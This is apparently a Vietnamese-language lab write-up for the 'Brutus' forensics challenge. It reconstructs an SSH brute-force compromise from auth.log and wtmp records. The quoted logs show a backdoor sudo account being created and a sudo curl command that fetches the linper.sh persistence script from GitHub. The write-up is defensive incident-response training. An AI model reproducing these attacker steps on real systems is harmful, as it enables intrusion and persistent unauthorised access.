Brutus - Very Easy
Brutus - Very Easy
Scenario
In this Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We'll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.
Task 1: Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?
- Sau khi kiểm tra
auth.logthì mình nhận thấy từ khoảngMar 6 06:31:31tớiMar 6 06:32:44có địa chỉ ip65.2.161.68liên tục bruteforce vào.1 2 3 4 5 6 7
Mar 6 06:31:31 ip-172-31-35-28 sshd[2325]: Invalid user admin from 65.2.161.68 port 46380 Mar 6 06:31:31 ip-172-31-35-28 sshd[2325]: Received disconnect from 65.2.161.68 port 46380:11: Bye Bye [preauth] Mar 6 06:31:31 ip-172-31-35-28 sshd[2325]: Disconnected from invalid user admin 65.2.161.68 port 46380 [preauth] Mar 6 06:31:31 ip-172-31-35-28 sshd[620]: error: beginning MaxStartups throttling Mar 6 06:31:31 ip-172-31-35-28 sshd[620]: drop connection #10 from [65.2.161.68]:46482 on [172.31.35.28]:22 past MaxStartups ... Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
- Đồng thời cũng từ đây ta nhận biết được cách attacker guess password bằng cách guess nhiều username khác nhau từ:
admin→backup→server_adm→svc_account→root.
Task 2: The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?
- Như ta vừa phân tích ở trên attacker đã thực hiện guess nhiều username khác nhau và username chính xác là:
root.
Task 3: Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.
- Trước tiên ta sẽ nói sơ qua về
wtmplà gì,wtmplà file log dùng để lưu lịch sử login và logout của user trên linux và unix. Đây là một file binary nên ta không thể đọc được một cách thông thường, vì thế ta phải sử dụngutmp.pyđể giải mã và đọc nó.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ python3 utmp.py ./wtmp
"type" "pid" "line" "id" "user" "host" "term" "exit" "session" "sec" "usec" "addr"
"BOOT_TIME" "0" "~" "~~" "reboot" "6.2.0-1017-aws" "0" "0" "0" "2024/01/25 18:12:17" "804944" "0.0.0.0"
"INIT" "601" "ttyS0" "tyS0" "" "" "0" "0" "601" "2024/01/25 18:12:31" "72401" "0.0.0.0"
"LOGIN" "601" "ttyS0" "tyS0" "LOGIN" "" "0" "0" "601" "2024/01/25 18:12:31" "72401" "0.0.0.0"
"INIT" "618" "tty1" "tty1" "" "" "0" "0" "618" "2024/01/25 18:12:31" "80342" "0.0.0.0"
"LOGIN" "618" "tty1" "tty1" "LOGIN" "" "0" "0" "618" "2024/01/25 18:12:31" "80342" "0.0.0.0"
"RUN_LVL" "53" "~" "~~" "runlevel" "6.2.0-1017-aws" "0" "0" "0" "2024/01/25 18:12:33" "792454" "0.0.0.0"
"USER" "1284" "pts/0" "ts/0" "ubuntu" "203.101.190.9" "0" "0" "0" "2024/01/25 18:13:58" "354674" "203.101.190.9"
"DEAD" "1284" "pts/0" "" "" "" "0" "0" "0" "2024/01/25 18:15:12" "956114" "0.0.0.0"
"USER" "1483" "pts/0" "ts/0" "root" "203.101.190.9" "0" "0" "0" "2024/01/25 18:15:40" "806926" "203.101.190.9"
"DEAD" "1404" "pts/0" "" "" "" "0" "0" "0" "2024/01/25 19:34:34" "949753" "0.0.0.0"
"USER" "836798" "pts/0" "ts/0" "root" "203.101.190.9" "0" "0" "0" "2024/02/11 17:33:49" "408334" "203.101.190.9"
"INIT" "838568" "ttyS0" "tyS0" "" "" "0" "0" "838568" "2024/02/11 17:39:02" "172417" "0.0.0.0"
"LOGIN" "838568" "ttyS0" "tyS0" "LOGIN" "" "0" "0" "838568" "2024/02/11 17:39:02" "172417" "0.0.0.0"
"USER" "838962" "pts/1" "ts/1" "root" "203.101.190.9" "0" "0" "0" "2024/02/11 17:41:11" "700107" "203.101.190.9"
"DEAD" "838896" "pts/1" "" "" "" "0" "0" "0" "2024/02/11 17:41:46" "272984" "0.0.0.0"
"USER" "842171" "pts/1" "ts/1" "root" "203.101.190.9" "0" "0" "0" "2024/02/11 17:54:27" "775434" "203.101.190.9"
"DEAD" "842073" "pts/1" "" "" "" "0" "0" "0" "2024/02/11 18:08:04" "769514" "0.0.0.0"
"DEAD" "836694" "pts/0" "" "" "" "0" "0" "0" "2024/02/11 18:08:04" "769963" "0.0.0.0"
"RUN_LVL" "0" "~" "~~" "shutdown" "6.2.0-1017-aws" "0" "0" "0" "2024/02/11 18:09:18" "731" "0.0.0.0"
"BOOT_TIME" "0" "~" "~~" "reboot" "6.2.0-1018-aws" "0" "0" "0" "2024/03/06 13:17:15" "744575" "0.0.0.0"
"INIT" "464" "ttyS0" "tyS0" "" "" "0" "0" "464" "2024/03/06 13:17:27" "354378" "0.0.0.0"
"LOGIN" "464" "ttyS0" "tyS0" "LOGIN" "" "0" "0" "464" "2024/03/06 13:17:27" "354378" "0.0.0.0"
"INIT" "505" "tty1" "tty1" "" "" "0" "0" "505" "2024/03/06 13:17:27" "469940" "0.0.0.0"
"LOGIN" "505" "tty1" "tty1" "LOGIN" "" "0" "0" "505" "2024/03/06 13:17:27" "469940" "0.0.0.0"
"RUN_LVL" "53" "~" "~~" "runlevel" "6.2.0-1018-aws" "0" "0" "0" "2024/03/06 13:17:29" "538024" "0.0.0.0"
"USER" "1583" "pts/0" "ts/0" "root" "203.101.190.9" "0" "0" "0" "2024/03/06 13:19:55" "151913" "203.101.190.9"
"USER" "2549" "pts/1" "ts/1" "root" "65.2.161.68" "0" "0" "0" "2024/03/06 13:32:45" "387923" "65.2.161.68"
"DEAD" "2491" "pts/1" "" "" "" "0" "0" "0" "2024/03/06 13:37:24" "590579" "0.0.0.0"
"USER" "2667" "pts/1" "ts/1" "cyberjunkie" "65.2.161.68" "0" "0" "0" "2024/03/06 13:37:35" "475575" "65.2.161.68"
- Ta chỉ cần tập trung vào các dòng có địa chỉ ip của attacker là
65.2.161.68:1 2 3
"USER" "2549" "pts/1" "ts/1" "root" "65.2.161.68" "0" "0" "0" "2024/03/06 13:32:45" "387923" "65.2.161.68" "DEAD" "2491" "pts/1" "" "" "" "0" "0" "0" "2024/03/06 13:37:24" "590579" "0.0.0.0" "USER" "2667" "pts/1" "ts/1" "cyberjunkie" "65.2.161.68" "0" "0" "0" "2024/03/06 13:37:35" "475575" "65.2.161.68"
- Vậy đáp án chính là:
2024/03/06 13:32:45. - Đồng thời khi đối chiếu lại với
auth.logthì cũng trả ra kết quả gần tương tự:1 2 3
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2 Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0) Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Task 4: SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?
- Ta đã vô tình giải câu này từ Task 3 khi đối chiếu lại với
auth.logvậy nên đáp án là:37với bằng chứng từ:1
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Task 5: The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?
- Từ session 37 kia ta tiếp tục đọc logs và phát hiện ra:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002 Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002 Mar 6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1 Mar 6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie Mar 6 06:34:31 ip-172-31-35-28 chfn[2605]: changed user 'cyberjunkie' information Mar 6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0) Mar 6 06:35:01 ip-172-31-35-28 CRON[2616]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0) Mar 6 06:35:01 ip-172-31-35-28 CRON[2615]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0) Mar 6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session closed for user root Mar 6 06:35:01 ip-172-31-35-28 CRON[2616]: pam_unix(cron:session): session closed for user confluence Mar 6 06:35:01 ip-172-31-35-28 CRON[2615]: pam_unix(cron:session): session closed for user confluence Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo' Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
- Vậy nên đáp án câu này chính là
cyberjunkie.
Task 6: What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?
- Đáp án là:
T1136.001. - Giải thích: Technique ID cho hành vi tạo tài khoản là T1136. Với 3 Sub-technique ID là:
- T1136.001: Local Account.
- T1136.002: Domain Account.
- T1136.003: Cloud Account.
Task 7: What time did the attacker’s first SSH session end according to auth.log?
- Phân tích
auth.log:1 2 3 4 5
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184 Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session closed for user root Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit. Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.
- Vậy kết quả là: 2024-03-06 06:37:24.
- Đồng thời kiểm tra chéo với
wtmpchính là:1
"DEAD" "2491" "pts/1" "" "" "" "0" "0" "0" "2024/03/06 13:37:24" "590579" "0.0.0.0"
Task 8: The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?
- Sau khi end session
37thì attacker đã thực hiện:1 2 3
Mar 6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2 Mar 6 06:37:34 ip-172-31-35-28 sshd[2667]: pam_unix(sshd:session): session opened for user cyberjunkie(uid=1002) by (uid=0) Mar 6 06:37:34 ip-172-31-35-28 systemd-logind[411]: New session 49 of user cyberjunkie.
- Và sau đó:
1
Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
- Vậy kết quả là: https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
End
This post is licensed under CC BY 4.0 by the author.
